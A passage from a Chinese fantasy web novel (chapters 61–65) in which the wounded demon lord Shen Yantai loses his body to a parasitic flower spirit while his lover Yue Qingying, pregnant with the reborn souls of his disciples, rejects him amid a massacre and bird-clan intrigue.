沈砚台此刻……一言难尽。 断了右臂,五脏六腑俱碎,手指也断了一根,脸上沾染了迸溅的血,伤口处还在滴血,说他被血包围了也没什么错。 他从月轻盈身边退开后,看向正道的人,眼里亦是不惧不畏。 “还要如何?” 为首那人笑到,“魔尊大人好魄力,可是这点伤对你来说根本不算什么吧?” “魔尊大人,看您的状态,最起码也要将魂珠破坏一半,才能将修为降至和我们一样的水平啊,这样我们才好在放了月轻盈后安全逃脱啊。” 沈砚台一听,仅仅是撩了一下眼皮,便沉声答应了一句好。 众人眼睁睁看着沈砚台从眉心剜出一个大洞取出魂珠。 眼睁睁看着沈砚台将自己那颗珠圆玉润周身裹挟着庞大魔气的魂珠捏碎成了好几瓣。 至此,这些人才满意。 重伤如此的沈砚台,脸色苍白,呕血不止,魂珠受创,他的神魂灵台也不稳有着倒塌的趋势。 “魔尊大人说到做到,现在魔尊大人只要将天骨给我们,我们就放了月轻盈,好让你们团聚。” 沈砚台只关注着月轻盈的安危,即使知道这些人不怀好意也还是照做了。 将小河那根灵骨伪装成天骨给他们后,他便硬着头皮强装气盛,好恐吓这些人后退离开。 然而,这些正道人士早就看穿了他的伪装,嘲讽一笑后,拿出一把刀狠狠刺向了月轻盈的心口,而后,立刻撤退。 沈砚台恍若被当头一棒,下意识地伸出手接住倒下来,气息缓缓消失的月轻盈。 心若被人揪扯踩割般的疼痛,让沈砚台尝到了眼泪的味道,是咸的。 他抱着月轻盈的尸体,满眼猩红,吼头哽住,发不了声,他手足无措的摸着他心口的致命伤,小声啜泣,身躯发抖,短促的哽咽出声。【你现在阅读的是 】 60-70 第61章 第61章 被沈砚台折磨的疯魔了吗 他抱着月轻盈的尸体, 哭着茫然四顾,紧紧将他拥在怀里感受他的体温变凉,接近于崩溃。 他运用起魔气想劈开筋脉, 炼化仙气去救月轻盈, 可是他伤的太重了, 魔气都聚集不起来。 看着月轻盈的面容,沈砚台被无力的自己所挫败。 就在这时候,他的脚边忽然浮现出一朵盛开的食灵花。 沈砚台的哭声一顿,混乱下他极力让自己保持冷静, 几息后, 他冷声道,“出来。” 一道若有似无的气息出现, 立在半空,沈砚台眼也不错的看过去。 一个和他长的一模一样的男人出现。 男人在看到沈砚台重伤时落魄的样子, 眼里有着兴奋,再看到他怀里月轻盈的尸体时, 眼里带上了算计。 “喊我出来有事求我?” 沈砚台唇瓣一抿, “你明知道, 就算我喊,你也是出不来的。” 男人眼睛一眯, 哼笑了一声:“哎呀,这还得依托于你受伤变弱, 我变得强大, 我才能在你面前出现实体。” “食灵花,救救他。” 男人也就是食灵花。 说起来,食灵花和沈砚台两人还是一段孽缘。 盘古开天辟地,除了天地, 其余的力量震碎了空间,于是有了三界五行。 混沌初开,天地气象杂乱,妖魔出世,蛟在百族妖兽中仅屈居于龙之下。 但龙可容不得蛟,毁了蛟一族,沈砚台是小蛟的时候被父母拼死隐藏,才存活下来。 他不敢露出真身,被百妖欺负,生死存亡之迹,食灵花的种子落在了他的体内。 “呵,区区一颗种子也敢觊觎我的生命,我的力量!” 沈砚台不甘,却也无可奈何,和食灵花共存,互相吞噬。 好在,他比食灵花开智早,又已习得修炼,加上聪慧,便利用食灵花的繁殖能力侵吞其他妖兽的生命力做为供养他生存下去的养分,耐心修炼,历时千年,成了魔尊。 食灵花一直被他打压,吞噬,自然处于劣势的状态。 直到沈砚台攻占正道,大肆使用食灵花,才让食灵花活跃起来,生出了灵智。 加上这之后他因为月轻盈,重伤,中毒,食灵花便借机吞噬起了沈砚台。 如此,才有了食灵花跟沈砚台叫板的一幕。 “蛟,你让我救人这个态度未免有些高高在上了。” “只要你肯救他,你要我做什么都可以。” 食灵花低头看向月轻盈,再见到他漂亮的脸时,冷眼耻笑。 “怎么了,看上人家的脸皮了?” “你和我共生,你明明知道他是谁,他对我有多重要。” 食灵花不说话,看着沈砚台暗沉的眼睛看着月轻盈安静的容颜,哼了一声,坏笑了起来。 “既然你这么说了,我也不会不近人情不帮你救人,可是代价你真的想好了吗?” 沈砚台抱紧月轻盈,点头道:“自然,如若不是我现在过于孱弱,我也不会有求与你,你且放心,我说到做到。” “唔……我还没有想到想要什么,我便先帮你救人吧。” “多谢。” 沈砚台松开月轻盈,看着食灵花将他接过去,见他没有耍花招,他才闭上眼睛赶紧修复自己的身体。 食灵花瞄了他一眼,嘴角挑起一个不怀好意的笑。 一段时间后,食灵花用脚推着月轻盈的身体接近沈砚台。 “人好了,马上就要清醒了,你要怎么做?” 沈砚台闻言立刻睁开眼睛,小心翼翼地接过月轻盈,将他拦抱在怀里,确认了他的呼吸和心跳,才放松了下来。 “我会对他好,再也不会让他陷进危险之中。” 食灵花忽然弯腰凑近沈砚台,挤眉弄眼:“嗯?你在说什么?” “你别忘了,你还欠我一个人情,如果我要立刻兑换,且报酬就是你要把这具身体让给我,你要如何对他好?” “别痴人说梦了,说到底你还是没有自知之明,啊……魂珠碎了几块 ,还中了食灵花的毒,浑身都是伤的你,应该很快就会被我吃掉吧?” “食灵花的繁殖能力你知道的,成千上万的种子扑在你的身上,你以为你还能活?” 食灵花每说一句话,沈砚台的脸色就难看一分,食灵花见状哈哈大笑起来。 他看着沈砚台,做作的捂着自己的心口:“不然这样吧,我给你一个机会,给你一个好好和月轻盈交流的机会。” “什么意思?” “如果他醒了之后说要跟着你,和你在一起,我就继续藏在你的影子里,被你吞噬。” “要是他醒来之后,翻脸不认人,你就藏在我的影子里,身体唯我所用,你的全部被我吞噬,如何?” 沈砚台抚摸着月轻盈脸的手颤抖了一下,随即,他眼睛重现光彩,信誓旦旦道:“那你肯定输了。” 食灵花坏笑:“那可不一定。” “他现在要醒了。” 沈砚台立刻低下头去看。 月轻盈只觉得自己的脑袋很疼,意识昏沉,脑子里突然出多来许多他没有的记忆。 古国,太子盈,凉国,还有什么将军,寨子,他还和什么人成亲了。 笑话。 他这是被沈砚台折磨的疯魔了吗? 沈砚台……沈砚台!!! 对了,他明明记得他死了! 怎么会还有意识。 月轻盈猛地睁开了眼睛。 下一秒,他就见一道人影紧紧的将自己拥抱包裹住。 “你醒了,盈盈你醒了。” 月轻盈备受打击。 盈盈两个字让他心如刀绞,让他回想起来自己被骗的凄惨的一幕。 如今,会叫他盈盈的人只有那个人。 他眼睛向下,看到了沈砚台,他还是那么的俊美,可是他一身的伤是怎么回事? 等等。 脑子里,他被绑架沈砚台来救他的那段记忆是真的? 他不住打量,看沈砚台缺失的右臂,胸腹的伤口,断掉的食指,破碎的魂珠看不见,但能看到他额头被挖开的伤口。 他心肝俱颤。 沈砚台……真的为他做了这些事? 他眸光复杂,心愈发的坚定和心狠。 沈砚台做的这些,哪怕做的更多,也抵消不了小川小河小宵,树岭里的仙兽,还有一众正道修士的死的罪孽。 沈砚台激动的拥抱着死而复生的月轻盈,经历失去,再度拥抱他,让他感动心潮澎湃。 他紧紧抱着他,却久久得不到他的回应,他起身看向一脸冷漠的月轻盈,脸上的欣喜凝固,心猛地往下坠。 第62章 第62章 一点点在地上爬 月轻盈和沈砚台两人无声对峙着。 片刻后, 沈砚台若无其事般提起嘴角,目光温柔腻人,抬手摩挲月轻盈的脸, 柔声细问。 “你醒了, 身体痛吗, 要是哪里疼跟我说,我可以……” 他的话还没有说完,就被一道冷淡的声音打断。 “为什么……” 沈砚台抬眸,看着面无表情, 眼神冷峻的月轻盈, 眼圈红了。 他牵强的提起嘴角,笑得宠溺:“很疼吗, 疼到对我发脾气吗?” “为什么还要这样惺惺作态?” 月轻盈猜不透沈砚台。 他从他的怀抱中起身,步步远离, 看着他的目光是冷漠,带着深重的恨意。 “为什么要继续玩骗人的把戏?” 沈砚台对他的话仿若未闻, 他看着空落落的怀抱, 凉意钻入, 竟是满心荒凉发冷。 “你……什么都想起来了啊?”沈砚台答非所问,看着月轻盈的眼睛里有执着, 有不甘,有怨恨, 有歉意……五味杂陈, 更多的是赤裸的爱意。 “没有给你第二次骗我的机会,怎么,这次你又想耍什么花招,置我于死地?” 说到这, 月轻盈的情绪也开始不稳起来,他抿紧唇瓣,强硬扭过头,再不看沈砚台一眼。 察觉到他的抗拒,沈砚台心知那个在面前脸红,撒娇,依赖他的月轻盈不复存在。 面前站着的,是被他伤的浑身血淋淋的月轻盈。 他怨恨着他,不会原谅他,可是……他还是想挽回些什么。 沈砚台看着如梅如竹风华般的月轻盈,伸手蹭了一下眼角,再开口时,他声音短促中夹杂着哽咽。 “我没有想杀你。” “那是什么!” 沈砚台这副重伤之极,委屈作态的样子,就仿若他真的对他动了真情,让月轻盈心烦意乱。 “我只是想救你……” “你怎会如此好心!” 沈砚台知道月轻盈现在气极,他不与他争辩,他只是拖着自己重伤的身体,踩着血路,朝着他接近,抬起虚弱的手指想要再碰碰他。 察觉出他意图的月轻盈狠心挥袖,沈砚台看着空落的掌心,怔然,他不愿意让他碰,他竟是连他的衣角都碰不到吗。 他狠狠攥拳,抬眸凝视着月轻盈,眼神露骨带着野性和霸道。 要是他的修为还在,要是他没有受伤,他就算强迫也要将月轻盈绑在身边。 只是,在看到月轻盈身体瑟缩了一下后,他的眼神一紧,又放柔了下来。 不对。 那样做,只会让月轻盈越来越讨厌他。 他的本意不是伤害他,令他怕他,他是想要他爱他的。 “我知道你醒来后还有些混乱,但是你好好想想,我们在人间的日子还是很快乐的,对不对。” 月轻盈抿唇不语,垂在袖子的手紧握成拳,指间有鲜血滴落。 沈砚台深深看着他,掷地有声,“我不信,我做的那些你会无动于衷。” 许是他逼迫的太紧了,月轻盈触及必反,猛地抬头,眼神凶恶。 “那又怎样!就算你让这人间天下太平,也换不回小川小宵小河,他们死了!” “他们死了!”月轻盈大吼,呼哧喘气,猩红着眼,憎恨的看着沈砚台。 “他们再也……回不到我身边了。”月轻盈说着,缓缓落下泪。 沈砚台见状,眼睛微微睁大,立刻意识到他们之间分裂的源头。 “会的,他们会回到你身边的!” 沈砚台有些激动,再度朝着月轻盈靠近了一步,“你怀的我们的孩子……其实是小川小河小宵。” “什……么……?”月轻盈怔然。 沈砚台不放过他一丝一毫的表情变化,“我为了从命雷手里救下你,将他们三个人的魂珠放在你的肚子里,他们没有死,他们只是重生在你的肚子里,他们是……我们的孩子。” 月轻盈难以置信,震惊地看着沈砚台,手却是下意识的摸上了肚子。 好久之后,他闷哼了一声,将哭声堵在喉咙里,原来……小川小河小宵在他的肚子里。 真的,就圆了他们的愿望,他们成了他的孩子。 他还有机会再见到他们。 或许是喜极而泣,或许是惋惜怀念之前的小川小河小宵,月轻盈忽然蹲下身大哭了起来。 沈砚台见状也不好受,眼里却是着迷的认为自己赢了,他可以凭借这个重新拥抱月轻盈。 他情不自禁的上前,张开手想要揽住月轻盈,不曾想,月轻盈却是一把推开他,满心满眼的厌恶和恨意看着他。 “滚开!” “听你这么一说,我更加的怨恨你了也确了,如果不是你,小川小河小宵他们根本不用死!” 沈砚台重伤,身体虚弱,猝不及防,竟是摔倒在地上。 他不顾伤口的疼痛,见月轻盈真的急眼了,便还想着挽留什么。 他跪在地上,心脏砰砰跳他知道,在触及月轻盈憎恨的眼神时,他就知道,这次若是他做不好,月轻盈会永远都不原谅他。 “不是的,不是的,不是这样的,你看……你看我……我在人间让这些人天下太平,这么多的人命难道抵不过他们三个人的命吗?” 月轻盈一怔,有些被蛊惑。 沈砚台借机赶紧爬起来,走到月轻盈身边,怕被他打开手,只敢牵着他的衣袖,小心翼翼道:“我带你去看人间的太平盛世好不好?” 月轻盈下定了决心,深吸了口气,对上沈砚台热烈执着乞求的眼神,握住了他的手,一点点,用着力,将他的手从自己的衣袖上扯开。 沈砚台怔在原地,看着月轻盈丢下他独自前行的背影,目光里盈满了泪,满是破碎的伤心。 两人一前一后来到凉国。 然而,一踏入凉国境内,月轻盈就立刻止住了脚步。 血。 到处都是血。 这些血的旁边皆都屹立着一朵食灵花。 这个花月轻盈太熟悉了,有太多太多的生命丧在这些食灵花的手上。 他看着血流成河,尸体遍布的一座城,心一下子就空了。 他死死咬住牙齿,唇边都是浸出来的血,他泪如血泣,看着沈砚台,终于死心。 “原来,你这次的把戏依然是杀人。” “不是……我……”沈砚台着急解释,然而在他看到没有活物的血城时,语音都变地空洞苍白。 气急攻心,他伸手紧紧抓住心口,脸色苍白的看向满目失望浸满悲伤看着他的月轻盈,便知…… 月轻盈果然如他先前所想,再也不会原谅他了。 “噗……”沈砚台呕出大口大口的血,身躯轰然倒地。 在他伸手想抓着什么的时候,逆光里,是月轻盈渐渐消散在光幕里的身影。 “别……别走……盈盈……我没有杀他们……” 留给他的是,月轻盈毫不留情转身就走的背影。 沈砚台眼眶猩红,眼泪无知无觉的滑落,他魔力耗尽,无法追上月轻盈。 但是他怎能放他走。 他就用脚在地上蹬,用仅剩的一只手刨地借力,一点点在地上爬。 可是,不论他怎么喊,不论他怎么挽留,月轻盈怎么就是不回头。 “盈盈……”沈砚台用尽最后的力气嘶吼,直到嗓子毁了,再也发不出一点声音。 才肯垂着头,任由身上的血流尽,接受了月轻盈走了,不要他了的事实。 “呜……” 短促的哭声传出,沈砚台看着天际,眼神里都是茫然和无助。 “我错了……不要丢下我……我真的错……了……”语气里是满满的悔恨和无尽的忏悔。 第63章 第63章 放开他,我的龙皮给你…… “到底……为什么会这样……” 沈砚台红着眼圈看着血城, 从心脏阵阵抽痛中寻回了一丝清醒。 “到底是谁杀了这些百姓?” 他哽咽着伸手触摸地面上的血水,眼里充斥着不忍。 他吸了一口气,抬起凶狠的眼神看向食灵花, “是不是你?” 看戏的食灵花闻言哈哈大笑了起来, “你莫不是被人甩了, 得了失心疯,我可是在你召唤我出现的时候才出来的,若是我,我哪有时机下手?” “真的不是你?”沈砚台眼眸如点漆, 眼里的红色洇出了血丝。 “不是我。”食灵花舒了一口气说:“我虽是恶毒的花可我却从不骗人呐。” 沈砚台又认真的看了他一眼, 收回视线落在地面的血水上,平面上竟是倒映着月光。 他似是被抽了气, 身子重重一沉,“如果你也不知道的话, 那……看来是天意……” 想到了伤心处,他抽噎道:“看来是天意让我失去了盈盈……” 回忆过往的种种, 他撑着自己破烂的身躯, 缓缓站起身, 眼里似是懂得了大义,大善, 大悔,大悟, 一切都豁然开朗。 有星星点点的碎光从他的身上涌出, 飘扬着散落在这座血城的每个角落。 食灵花看着他这副样子,不可置信的瞪大了瞳孔,“你在做什么?” “为我犯下的错做一些力所能及的事。” 食灵花有些着急:“就你这副烂泥一样的身体还能做什么?” 沈砚台如释负重般叹气道:“最起码……也要救点人回来。” “盈盈最喜欢这些百姓了,我想做点什么……” 食灵花张唇, 想骂他愚蠢,转念想到沈砚台消失他就可以霸占他的身体后,又缓缓合上了嘴巴。 食灵花眼睁睁地看着,沈砚台抽出了自己的龙脉埋伏在这座血城市地底。 他的精血成了这些死去的百姓的回魂丹。 只是……这些百姓身躯损坏,他无法立刻让他们原地复生。 到最后了,他还是借用了食灵花。 刚才还是一座血城的城镇,此刻,成了被月光所疼爱的花圃。 白色的食灵花包裹着这片土地百姓们的生魂。 等到花期,他们就会结果,呱呱落地,从小婴儿开始重生。 用自己的龙骨打下了一个结界的沈砚台,虚弱的倒地。 他失去龙脉,龙骨,此刻弱的和凡人无异。 只不过他是蛟龙的原身,到底还不会让他立刻死去。 他仰视着食灵花,眼睛无神,只死心般道:“你若是想用这身躯便用吧。” 食灵花挑眉看向他,“你真舍得?” 沈砚台没回答,只是缓缓的阖上了眼睛,唇瓣死死抿紧。 食灵花怔住,他确信他听到了沈砚台小声抽泣着念了一句盈盈。 爱的力量真的这么强吗? 只会吞噬,只想生存下去的食灵花对七情六欲不懂,只困惑了一会儿后便兴冲冲地霸占了沈砚台的身体。 继而……打压沈砚台的灵魂。 灵台中。 一朵食灵花散开了无数的根茎,皆都缠在一条废了的蛟龙身上,触须在他身上生根发芽。 被吞噬生命力和精血,显然是痛苦的,蛟龙不住的打滚嘶吼,身体抽搐,被触须爬过的地方留下了滚落的鲜血。 清冷月光的照耀显得大地一片静谧。 躺着的沈砚台突然动了一下,再睁开眼睛时,眼瞳变得邪恶。 食灵花扭动了两下脖子,用魔力修复好身体,看了看沈砚台留下的结界,本想伸手摧毁,不知道想到了什么,终是收手了。 “我倒是要看看,那个叫月轻盈的有什么本事,能让上古蛟龙因为悲伤失去生意,散去生机。” 修真界。 别云间。 魂珠附回月轻盈的体内。 一直在结界中修养的月轻盈缓缓睁开了双目,看清眼前闪烁着流光的结界,感受着属于沈砚台的气息,一行情泪落了下来。 他吸吸鼻子,心里记挂着三个徒弟,他起身,看着结界运起灵力,想一掌打破,却不想,在他有动静后,结界便消失了,连带着沈砚台的气息也消弭在空中。 “这是……”他微微睁大眼,有些不可置信。 沈砚台的气息消失了? 这是什么意思? 他愿意放过自己了? 看着结界最后消散的一角,不知为何,他的心慕地疼了一下,有种怅然若失之感。 他沉浸在这种即将要失去什么的困顿中,好半晌才回过神。 他捂着胸口,愣了愣,自嘲一笑:“他若是消失了你该开心才对。” 他缓缓低下头,看着自己隆起的小腹,眼圈又是一空,他颤抖着唇瓣,伸手将肚子拢抱住,眼泪盈满又落了下来。 真好,他还能见到小川小河小宵。 他没有沉浸在过往,立刻反应过来,沈砚台应该还在凡间没有追过来,此刻逃跑时机刚好。 他起身,刚下床走到门口,打开门,就见到一睹宽阔的胸膛。 他愣了一下,冷着脸,缓缓抬眸,果然,见到了沈砚台那张醒目的脸。 两人对峙着,谁也没有先开口。 食灵花打量着月轻盈,视线寸寸下落,最后定在他拢起的腹部。 眉头一点点拢了起来,“原来……你还有了孩子啊。” 这话……说的好似他不知道他就是让自己怀孕的源头似的。 月轻盈眼里有狐疑一闪而过,没和他太过纠缠,伸手推开他,“让开。” 食灵花一个不察,竟是被他推开,往后退了几步。 他脸上有错愕一闪而过,继而变得阴狠,月轻盈就是这么对待沈砚台的? 见他快步走远的背影,食灵花一个跨步来到月轻盈身前,黑着脸挡住了他的去路。 “你要去哪?” 月轻盈脚步一顿,抬起的眼眸里再度蔓上了疑惑,“你受了重伤……” 食灵花回想先前发生的事,缓慢的点头,“是不错。” “你的伤怎么这么快就好了?” 月轻盈想说的是,你先前那般苦苦纠缠被我拒绝,原以为他走是留都不在干涉。 “我是魔尊,再重的伤几息便会痊愈。” 月轻盈抿了一下唇瓣,脸上带着戒备,往后退了一步,“你来找我是想干什么?” 食灵花想起了沈砚台刚才痛哭的样子,歪歪脑袋没什么情绪的说,“我想挽留你,想你继续和我在一起。” 月轻盈看着他的脸,看了好几遍,慕地,又往后退了一步。 食灵花不语。 月轻盈便盯着他一步又一步的往后退,眼里的冷漠看的食灵花精神紧绷。 “怎么?害怕我?” 月轻盈逃到了安全范围,坚定道:“你不是沈砚台。” 食灵花面容一僵,看向月轻盈的眼神带上了探究。 月轻盈一手运着灵气,一手护着肚子,警惕道:“你到底是谁?” 食灵花愣了一瞬,忽然哈哈大笑了起来,笑得肚子都疼了,好半晌,他抱着肚子起身,伸手擦去眼角的泪水。 “你真有趣。” “你怎么知道我不是沈砚台?” 见他饶有兴趣的样子,月轻盈张口就来:“你身上没有他的味道,你演的也不像他……你……” 察觉自己说了太多关于沈砚台的事,月轻盈逐渐消声。 还想再听的食灵花见他这副拙劣的隐藏,心知肚明了。 原来……月轻盈也是对沈砚台有意的啊。 他就更加好奇了。 “沈砚台对你做了那么多的坏事,你还是喜欢上他了?” 月轻盈一怔,陡然暴怒出手,“与你何干?” 食灵花轻松躲过他这招,瞬移来到月轻盈身边,大掌扣住他的胳膊将其反置于身后。 “这么凶?沈砚台看上你哪点了?” 他将月轻盈控制在怀里,眼睛肆无忌惮的打量,动手在他的脸上流连游走。 “长的是不错,但是看久了也会腻吧?” “果然还是你这副身体?你的身体难道是有什么妙处?” 食灵花话一顿,察觉到灵台中沈砚台的不安分,他眼里起了顽劣。 “走,让我也尝尝你的滋味。” 月轻盈脸色闪过惊恐,下一秒,他就被甩在床铺上,手脚被人死死的擒住。 他看着沈砚台的脸,心知这副皮囊下的不是他,可是看着他的脸,想着自己即将要受辱,还是忍不住感到委屈憋闷恨意。 透过食灵花的眼睛,看着眼前一切的沈砚台心疼了。 全然是因为他,食灵花才会对月轻盈有兴趣,他也知道食灵花想要什么,便沉声道。 “食灵花,你不要欺负他,龙脉我给不了你,可是我可以把我的龙皮给你,你是花,最怕火了不是吗?” 说着,不顾食灵花的反应,变回自己的原身,硬生生将自己一身如盔甲般漂亮的皮给剥下了。 新鲜的血腥味还带着甜味。 食灵花被沈砚台这下死手也要保护月轻盈的一幕给震的停了动作。 他看泪眼婆娑的月轻盈,眼里绽放开了笑意,也就是说,有了月轻盈,他可以从沈砚台身上得到一切他想要的。 “谢过。” 将灵台中沈砚台的皮穿上,食灵花放过了月轻盈。 月轻盈躺在床上,听到门合上的声音泪水无声的滑落。 沈砚台…… 第64章 第64章 鸟族盛宴 沈砚台痴迷的看着月轻盈, 像是就算死了也要将他的模样烙印在神魂中。 食灵花出了别云间,便来到了月华宫,想要亲自一睹沈砚台曾经经历过的荣华。 他还没走几步路, 身后就传来了一道急切的呼喊声。 “魔尊, 魔尊, 沈砚台!你等等!” 食灵花脚步一顿,转头就见到了一袭高挑的身影,他饶有兴趣的挑眉这人他认识。 是沈砚台的小妾,宋先灵。 就这么一个愣神的功夫, 宋先灵已经来到了他的面前。 宋先灵行完礼, 便像是怕人会跑了一样,伸手死死揪住了他的衣襟, 见沈砚台看过来,眼圈一点点的红了。 “魔尊, 你什么时候回来的?” 食灵花张唇刚想说话,宋先灵又道:“魔尊回来后就不能来看看我吗?” 看着宋先灵脸上滚落的泪珠, 食灵花眼睛眯了起来。 血城的事, 当时, 月轻盈和沈砚台心中只有对方,所以没有留意到空气中的鸟味。 他是花, 对会来吃花的鸟族自然要更关注反应更灵敏些。 得知宋先灵就是杀了那些百姓的人,再见见他对沈砚台这副执着依赖的样子, 食灵花心中冷嗤。 杀人不眨眼的骗子魔头。 不过, 他不讨厌他。 大家都是为了生存,都是为了个子的目标做事,所以……他能容忍宋先灵出现在他面前,仅此而已。 “有事吗?”食灵花擒住宋先灵一双手腕狠狠掷下。 感受手腕巨疼的宋先灵呆了呆, 随即,抬起有些受伤的眼眸看向沈砚台,眼里划过恨意。 月轻盈不是都死了吗,为什么他的视线还是不落在他身上。 “魔尊,你不喜欢我?” 食灵花没有说话,饶有兴趣的看着他哭喊疯魔的样子。 “你不喜欢我为什么要娶我?” “好,就算是利益联姻,你也总该和我有些接触的,最起码……我可以给你孩子不是吗!” “孩子?” 食灵花听到这,哈哈笑了起来。 宋先灵红着眼睛,看着沈砚台笑得肚子疼的样子,受到了侮辱,他死死攥紧手,忍着打人的冲动。 “魔尊,你这是什么意思?” 食灵花伸手将眼角笑出来的泪水擦去,意味深长的凑到宋先灵耳边道:“我这辈子永远都不会有孩子。” 宋先灵的脸唰一下就白了,像是一桶冷水泼了下来,他浑身发冷。 “这是什么意思?” 很满意宋先灵收到打击的样子,食灵花弯了弯眼睛,伸手指着自己。 “我是蛟龙,孩子会分去我的命数,所以我永远都不会有孩子。” 沈砚台那条小蛟龙的爹娘,就是因为被他分去命数,才会不敌真龙,死的只剩下他一个。 深深看了一眼宋先灵深受震撼的样子,食灵花嘴角扬着笑,步伐沉稳的走了。 宋先灵站在原地看着他的背影,眼泪颗颗滴落,继而发疯似的大喊大叫。 “我将所有都压在你身上,你居然连个孩子都给不了我。” “那我当初嫁给你有什么用!” “族里的人都在嘲笑我!爹娘也将我当成了弃子!” “我甚至连尊后的贵称都没有,我恨,沈砚台我恨你!” 宋先灵痛哭了起来,“我恨你,我不会让你好过!” 食灵花不知道自己找了个麻烦,将修真界逛完了以后,便定在了一处发起了呆来。 他眼神茫然,漫无目的,甚至觉得天地大到有些空虚。 他一生都活在沈砚台的灵台里,被他的神魂压着,被他吞噬着生命力。 就连沈砚台当上魔尊,也都是他一点点经历得来的。 他看过很多风云,接触过很多人,发生了很多事,他只有沈砚台灵台那一块小小的天地。 他……他不想霸占沈砚台的身体了,也不想主导灵台了,他想回去了。 “别回头。” 察觉到他心思的沈砚台蓦然道了一句。 食灵花浑身俱震,回到灵台,见到了沈砚台。 沈砚台全身被食灵花的根系化成的锁链囚困着,浑身背负着千丝万缕的根系,血肉精气被一点点的吸食着。 “你不想和月轻盈和好吗?”食灵花不解,眼睛里是不掺杂志的困惑。 “我……一直都在亏欠他,他不要我了,我不想打扰他了。” 想到月轻盈,沈砚台心虚不稳,猛地咳出血来。 血的旁边立刻出现一朵食灵花,吸食着血液。 食灵花烦躁,伸手将食灵花打散,有些不安的咬着手指,“我……我不习惯。” 他也就只敢跟沈砚台撒撒蛮横,玩玩阴狠,实际上他纯白的如一张纸,一举一动也只是学沈砚台的。 “不是说要吞噬我吗?不是要独占这具身体吗?万年了,你我纠缠万年了,是时候分出胜负了。” 不知道是不舍,还是不想在经历生死,食灵花鼻腔一酸,忽然眼圈红了,磕磕绊绊地:“我……我不想你死。” 沈砚台在他面前卸下防备,笑得纯净,“经历的多了就看淡生死了。” “那……你舍得月轻盈吗?” 沈砚台一怔,偏头躲过食灵花的窥视,“他不要我的那一刻,选择权就不在我这里了。” 食灵花愣住了。 沈砚台鼻尖上坠着的那颗闪着光的液体,是眼泪吧。 食灵花心也酸酸的。 结束了和沈砚台的对话,食灵花摇摇晃晃想去月华宫。 路过一长廊时,突然察觉出一股凉气,倏然,一柄闪着寒光的长剑朝着自己刺过来。 食灵花尽管迅速向一旁躲闪了,手臂却还是被划了一道。 看着鲜血滴落,食灵花抬眸看向躲在石柱后面的人。 不出半会,一道高挑的身影走出,脸上带着收到了惊吓了的苍白。 宋先灵拿剑指着沈砚台,“魔尊,既然你娶了我却什么都不给了我,那我刺你这一剑就算是报了我被人轻视嘲笑的仇了。” 食灵花收回视线,手臂翻转,刚才的伤口立刻痊愈。 宋先灵盯着他眼里的暗红色越来越汹涌,吓得立刻将剑丢在地上,鼻头翕动,委屈大哭了起来,“干什么,我承受了别人的嘲笑我刺你一剑,就不打算跟你计较了,你这是打算要杀了我吗?” 看他嘴巴张大,哭的都能看见咽喉了,食灵花涌起的杀意消散。 “事已至此,你满意了?” 宋先灵哭声戛然而止,跟先前那副依赖他的样子无异,凑过来双手抓紧了他的衣服。 “满意满意。” “我们做不成真夫妻,那我们就做朋友吧,在我被族里人欺负嘲笑的时候,你可得多帮帮我。” 食灵花看着宋先灵那一双透亮的眼睛,明白了他的处境也知道了他的苦衷。 鸟族千恩万宠的大小姐,嫁给权势滔天的魔尊,原以为是迎来无限的风光。 之后再生个儿子,继承尊后位,享受万人敬仰的尊贵。 谁知道,这个魔尊有心爱的人,不会给他孩子,两人之间也没有感情。 在这魔界中,他也算是孤立无援,没了魔尊的撑腰,娘家的人对他不尊不敬,甚至还用没有孩子来刺激他,到底……也是个苦命人。 食灵花一瞬间就懂他了。 因为沈砚台和月轻盈的关系,这具身体他不会和任何人发生关系。 若是宋先灵如先前那般纠缠,他可能会因为厌烦将他给杀了,他退了一步,反而惹了他的怜惜。 思忖后,食灵花点头应允了:“好,那我们就做朋友。” 宋先灵一愣,没料到他答应的这么快,眼圈一点点红了,不住点头,“好,我们做……朋友。” 宋先灵借着朋友这个名头,和食灵花相处,两人有时也会出去玩。 友谊加深。 而巨变很快来临。 鸟族诞生万年宴会,鸟族族长寄来请柬,诚邀沈砚台和宋先灵应邀。 宋先灵是鸟族族长的长子,无论如何都会去参加鸟族史上意义重大的宴会。 宋先灵手里捏着请柬,找到了在摆弄花草的沈砚台。 “魔尊,鸟族盛宴,你能和我一起参加吗?” 食灵花回眸,视线落在被他捏的出现褶皱的请柬上,好半晌点了点头,“好。” 原本以为自己会听到拒绝的宋先灵,表情都蔫了,初听到这句好,表现的有些呆萌。 食灵花噗嗤笑了出来。 他的俊脸真情实感一笑,宋先灵不知为何感受到自己被他宠着的错觉,他的脸红了红,笑得开心。 “那我们一起去。” 和沈砚台分开,宋先灵就小跑着回到了自己的房间,红着脸坐在椅子上发呆。 婢女看他思春模样,一脸欣喜,“看来少爷这次和魔尊相处的也很融洽。” 宋先灵一怔,脸上的红晕悄然消退。 婢女接着道:“当初你气呼呼的回来说,要以朋友的身份接近魔尊,之后找机会刺杀魔尊,那时还给我吓得够呛呢。 看来,少爷现在只要坚持做魔尊的朋友,魔尊就一定会看到你的好,然后和少爷在一起。” 宋先灵沉默不语。 他被沈砚台带给他的绝望打击,当时,是真的想什么都不管不顾,用尽方法杀了魔尊。 可是…… 这些天的相处,却给了他迟疑,想到魔尊的灿笑,宋先灵紧张。 他思忖了很久,下定了决心,给他和魔尊两个人一个机会。 这次鸟族宴会上只要他们一切顺顺利的他就不会对魔尊下死手。 第65章 第62章 真好,你还会关心我 “少爷, 快来挑选衣服,你现在嫁给了魔尊,出场可得十分的隆重。” 宋先灵一听, 眉眼扬了起来, 他起身走到婢女身边, 桌子上面摆放着一本画本。 扉页已经打开,他抬手翻阅,看着里面剪裁恰好颜色靓丽的布料,眼里有着期待。 “等挑完布料, 选好款式, 我就家书一封,告诉爹他们, 魔尊会跟我一起回去。” 婢女也笑:“之前的几次家宴魔尊都没有出席,这次的盛宴少爷要是带着魔尊回去, 打脸二少爷三小姐的时候肯定很爽。” 宋先灵想到和自己攀比的弟弟妹妹,面上不悦, 不过想到他现在有了魔尊撑腰, 表情有着不屑。 鸟族位于南山竹海。 这里气候宜人, 景色优美,有着许多适合鸟族生存的植被生物。 简直就是培育鸟族子孙后代, 可遇不可求的温床。 鸟族族长的住处,宋府, 因着盛宴, 府里的小斯婢女忙着张灯结彩,装扮府邸。 水榭凉亭边。 宋家二少爷,三小姐,端着与宋先灵相似, 同样漂亮出色的脸,在桌边对坐,闲话家常似的聊天。 “大哥来信了,说这次鸟族盛宴魔尊会来,你信吗?”宋二少爷宋先名看向自己的妹妹宋先锦。 “大哥说的这么笃定,看起来十分有把握,搞不好是真的。” 